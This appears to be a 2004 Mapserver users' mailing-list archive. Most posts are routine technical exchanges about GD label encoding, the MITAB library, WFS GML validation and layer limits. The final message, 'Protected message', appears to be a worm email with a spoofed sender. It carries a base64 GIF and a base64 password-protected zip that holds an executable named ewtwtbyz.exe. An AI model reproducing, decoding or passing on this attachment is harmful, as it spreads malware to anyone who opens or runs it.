<008601c45381$9daf8970$c900a8c0@infogroup.local> This is a multi-part message in MIME format. ------=_NextPart_000_0083_01C4539A.BDA40AD0 Content-Type: text/plain; charset="iso-8859-7" Content-Transfer-Encoding: quoted-printable Unfortunatelly the problem remains. I wonder if this is a GD problem! As = far as I know the library that the MapServer uses is GD.=20 First of all am I right about GD or am I going the wrong direction? Does GD support many different languages? Has anyone ever made an application using MapServer that uses = non-english language on the labels of the map?=20 Regards=20 Andreas ------=_NextPart_000_0083_01C4539A.BDA40AD0 Content-Type: text/html; charset="iso-8859-7" Content-Transfer-Encoding: quoted-printable
Unfortunatelly the problem remains. I = wonder if=20 this is a GD problem! As far as I know the library that the MapServer = uses is=20 GD.
 
First of all am I right about GD or am = I going the=20 wrong direction?
 
Does GD support many different=20 languages?
 
Has anyone ever made an application = using MapServer=20 that uses non-english language on the labels of the map?
 
Regards
 
Andreas
------=_NextPart_000_0083_01C4539A.BDA40AD0-- From sbeorchia at gi-lemans.fr Wed Jun 16 02:18:23 2004 From: sbeorchia at gi-lemans.fr (Sylvain Beorchia) Date: Wed, 16 Jun 2004 11:18:23 +0200 Subject: [Mapserver-users] mapinfo References: <003901c45370$3303dbf0$c900a8c0@infogroup.local> Message-ID: <004401c45382$e026ce70$8469850a@GILEMANS> This is a multi-part message in MIME format. --Boundary_(ID_4IvoNSkZUtBOt6/7kAebUQ) Content-type: multipart/alternative; boundary="Boundary_(ID_8E2kTLrqIxK1CUsK+I79AA)" --Boundary_(ID_8E2kTLrqIxK1CUsK+I79AA) Content-type: text/plain; charset=iso-8859-7 Content-transfer-encoding: 7BIT Hi list, Anyone has already used the MITAB library to create object in a mapinfo layer ? I try to use it, but i'm not sure it is possible to open an existing mapinfo file to add some objects. It seems to be only possible to create some new ones and add objects... Anyone can confirm, or better, tell me that it's possible to update the file ? Thanks. Sylvain. --Boundary_(ID_8E2kTLrqIxK1CUsK+I79AA) Content-type: text/html; charset=iso-8859-7 Content-transfer-encoding: 7BIT
Hi list,
 
Anyone has already used the MITAB library to create object in a mapinfo layer ?
I try to use it, but i'm not sure it is possible to open an existing mapinfo file to add some objects.
It seems to be only possible to create some new ones and add objects...
Anyone can confirm, or better, tell me that it's possible to update the file ?
Thanks. 
Sylvain.
--Boundary_(ID_8E2kTLrqIxK1CUsK+I79AA)-- --Boundary_(ID_4IvoNSkZUtBOt6/7kAebUQ)-- From stephane.morel at vanoise.com Wed Jun 16 02:50:35 2004 From: stephane.morel at vanoise.com (=?UTF-8?B?U3TDqXBoYW5lIE1PUkVM?=) Date: Wed, 16 Jun 2004 11:50:35 +0200 Subject: [Mapserver-users] mapinfo In-Reply-To: <004401c45382$e026ce70$8469850a@GILEMANS> References: <003901c45370$3303dbf0$c900a8c0@infogroup.local> <004401c45382$e026ce70$8469850a@GILEMANS> Message-ID: <40D017EB.3000900@vanoise.com> Sylvain Beorchia a ??crit : > Hi list, > > Anyone has already used the MITAB library to create object in a > mapinfo layer ? > I try to use it, but i'm not sure it is possible to open an existing > mapinfo file to add some objects. > It seems to be only possible to create some new ones and add objects... > Anyone can confirm, or better, tell me that it's possible to update > the file ? > Thanks. > Sylvain. I use mitab too and I can't manage to update an existing file. It's clearly mentionned in the documentation file mitab_handle MITAB_STDCALL mitab_c_open ( const char * /pszFilename/ ) Open an existing .TAB or .MIF dataset for read access. The function automatically detects the format (.MIF or .TAB) of the specified file. _*Note that it is not possible to open a file for update (i.e. read+write) with the current version of the library.*_ *Parameters: * /pszFilename/ the complete filename (including extension .TAB or .MIF) of the file to open. *Returns: * a valid mitab_handle, or NULL if the file could not be opened. Stephane PS : I guess it's not the right newsgroup for discussing round mitab From sbeorchia at gi-lemans.fr Wed Jun 16 02:59:26 2004 From: sbeorchia at gi-lemans.fr (Sylvain Beorchia) Date: Wed, 16 Jun 2004 11:59:26 +0200 Subject: [Mapserver-users] mapinfo References: <003901c45370$3303dbf0$c900a8c0@infogroup.local> <004401c45382$e026ce70$8469850a@GILEMANS> <40D017EB.3000900@vanoise.com> Message-ID: <004b01c45388$9e1488a0$8469850a@GILEMANS> Hi, In fact i'm using MITAB to manage my mapinfo layer in Mapserver. that's why i posted this message. And you're right. It's not possible to update the file. So, i have to create a new one and transfert all the features plus the new ones. Thank u. Sylvain ----- Original Message ----- From: "St??phane MOREL" To: "Sylvain Beorchia" Cc: Sent: Wednesday, June 16, 2004 11:50 AM Subject: Re: [Mapserver-users] mapinfo > Sylvain Beorchia a ??crit : > > > Hi list, > > > > Anyone has already used the MITAB library to create object in a > > mapinfo layer ? > > I try to use it, but i'm not sure it is possible to open an existing > > mapinfo file to add some objects. > > It seems to be only possible to create some new ones and add objects... > > Anyone can confirm, or better, tell me that it's possible to update > > the file ? > > Thanks. > > Sylvain. > > > I use mitab too and I can't manage to update an existing file. It's > clearly mentionned in the documentation file > > mitab_handle MITAB_STDCALL mitab_c_open ( const char * > /pszFilename/ ) > > > > Open an existing .TAB or .MIF dataset for read access. > > The function automatically detects the format (.MIF or .TAB) of the > specified file. > > _*Note that it is not possible to open a file for update (i.e. > read+write) with the current version of the library.*_ > > *Parameters: * > /pszFilename/ the complete filename (including extension .TAB or > .MIF) of the file to open. > > *Returns: * > a valid mitab_handle, or NULL if the file could not be opened. > > Stephane > PS : I guess it's not the right newsgroup for discussing round mitab From cristinanoversa at clix.pt Wed Jun 16 03:36:14 2004 From: cristinanoversa at clix.pt (cristinanoversa at clix.pt) Date: Wed, 16 Jun 2004 11:36:14 +0100 Subject: [Mapserver-users] mapserver and context-based Message-ID: <20040616103614.20295.qmail@maboque.srv.clix.pt>

I would like that someone could share with me some knowledge about mapserver and its use in context-based applications. Can anyone point me some existing applications?

Thanks

Cristina

Clix Rapidix - Aumente at? 6X a velocidade da sua Internet
Adira em http://acesso.clix.pt e comece logo a navegar


  From bartvde at xs4all.nl Wed Jun 16 03:59:11 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 16 Jun 2004 12:59:11 +0200 (CEST) Subject: [Mapserver-users] Why Mapserver GML does not validate with XMLSpy Message-ID: <17390.212.238.227.182.1087383551.squirrel@webmail.xs4all.nl> Hi list, there has been discussion recently about Mapserver GML not validating with XMLSpy. A colleague of mine found the cause for this, and this is related to an issue I reported one and a half week ago on the list. There are two issues: 1) the GML version of Mapserver (2.1.1) and WFS (2.1.2) differ, but Assefa already fixed this in CVS 2) Mapserver does not respond properly to URL encoded HTTP GET requests, which is what XMLSpy is sending. So basically, XMLSpy asks for: http://www.vz.geodan.nl:1112/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes And mapserver responds with: mapserv(): Web application error. No template provided. I have opened up a bug report for this one: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=730 Best regards, Bart From tburton at holonics.ca Wed Jun 16 04:33:48 2004 From: tburton at holonics.ca (Trent Burton) Date: Wed, 16 Jun 2004 07:33:48 -0400 Subject: [Mapserver-users] More than 100 layers in Mapserver Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C45395.CA8CA5FA Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Does anyone have Windows binaries for, say, 500 layers (or even more) in Mapserver? Can anyone comment on if such a large number of layers is an issue? =20 Thanks, =20 Trent Burton ------_=_NextPart_001_01C45395.CA8CA5FA Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message

Does = anyone have=20 Windows binaries for, say, 500 layers (or even more) in Mapserver?  = Can=20 anyone comment on if such a large number of layers is an=20 issue?
 
Thanks,
 
Trent=20 Burton
=00 ------_=_NextPart_001_01C45395.CA8CA5FA-- From steve.lime at dnr.state.mn.us Wed Jun 16 05:40:01 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Wed, 16 Jun 2004 06:40:01 -0600 Subject: [Mapserver-users] Protected message Message-ID: ----------avlwmyguqrqsaogcpadf Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------avlwmyguqrqsaogcpadf Content-Type: image/gif; name="htmycqvddj.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="htmycqvddj.gif" Content-ID: R0lGODlhdgAPAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A /wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAz mQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDM mQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMz mTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPM mTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYz mWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbM mWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkz mZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnM mZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswz mcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszM mczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8z mf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/M mf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAB2AA8AAAj/AP8JHEiwoMGD CBMqXMiwocOHECNKnEixosWLGDNq1OiPDKKPZKb522gwGyJaIwlmqzXQFiKWA2udNDgNJsmH 2hBpE9iR1s2BJv0hmgbUFSJqAqe5+kcmm0CT20IK3JatVdOfD03uFPgR679arZiSEejR6s6O ThGN/TdN0T+1XBFB0um1ITZE23iSobVtmlq+/7ZR+yht5DQyZLDldZhz6UBaZEbm3OkIEUGh bgP/c7W27kKPjxH5C/rPUVjO/7RBUmrZXyKkD18SRORI4N2dcAeinW3Z82e1H2ltHUhmFtOj KdUSNfixt0FXjy4jekW2t9SBriAVlO074TZEtmjWmMJm1am2VrnxWaU7W01ngtMgpRRY7epb Nf+Ewv6XzdX8wI4s191BWhUEWT/8IYLPQNqAJlA/DjJkVEnsdQVhSof9989gww1YUIbbjbUN evxFJpQr2Yg4E0ODLQZfZyb9Q8tyMnWY1HseEpQIXgVpwxk1jqx12HT5mRSSiwqt19xAj7wn k1MCzeIRcAMpgmOOWGap5ZZcGhQQADt//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/23MgK7Nf/3//f/9//3//f/9/ tmexW7FbaUMgK7Rj/3/ab2lDICsgK9pv/3/ab2lDICsgK9pv/3//f/9//3//fyArICsgK/9/ /3//f/9//3//f/9/tGNpQ/17/3//f/9//3/abyArtGP/f/9/ICsgK/9/2m8gK7Zn/3//f/9/ tGNpQ/17/3//f/9//3/abyArtGP/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3/9eyArICsgKyArICuPU9tz/3//f/9//3//fyAraUP/fyArICu2Z/17/3//fyArICu2Z/17 /3//f/9//3//f/9/ICsgKyAr/3//f/9//3//f/9//3//f49TaUP+e/9//3//f/x3ICuPU/9/ /38gKyAr/3/8dyArsVv/f/9//3//f49TaUP+e/9//3//f/x3ICuPU/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9/ICsgK/9//3/9e49TICvbc7RjICv9e/17ICtpQ/9/ jUsgK/9//HdpQ7NfjUsgK/9//HdpQ7Nf/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /HcgK7Rj/3//f/9//38gKyAr/3//f7FbICv8d/57ICsgK/9//3//f/9//HcgK7Rj/3//f/9/ /38gKyAr/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3+xWyAr/Hf/f/9/ /XsgK41L/nuzXyArICuNS9tz/3/9e7NfICsgK49T/Xv9e7NfICsgK49T/Xv/f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3/abyAraUP/f/9//Hf/f41LICv9e/9/12sgK9pv/38gKyAr /3//f/9//3/abyAraUP/f/9//Hf/f41LICv9e/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f7RjICvYb/9//3//fyArICv/f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/sVtpQ/9/ICsgK/9//38gKyAr aUMgK9tz/3/+eyArtmf/fyArICv/f/9/sVtpQ/9/ICsgK/9//38gKyAraUMgK9tz/3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/2G8gK7Zn/3//f9tzICuNS/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3+0YyAr/HcgK7Nf/3//f/17tmdpQyAr12v/f/9/tGONS/17ICuzX/9//3+0YyAr/HcgK7Nf /3//f/17tmdpQyAr12v/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3/8dyAr ICsgKyArICuPU/17/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9/sVsgK41L/Xv/f/9//3//f/9/s1+xW/9//3//f7Rj ICuxW/57/3//f/9/sVsgK41L/Xv/f/9//3//f/9/s1+xW/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ ----------avlwmyguqrqsaogcpadf Content-Type: application/octet-stream; name="Manufacture.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Manufacture.zip" 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 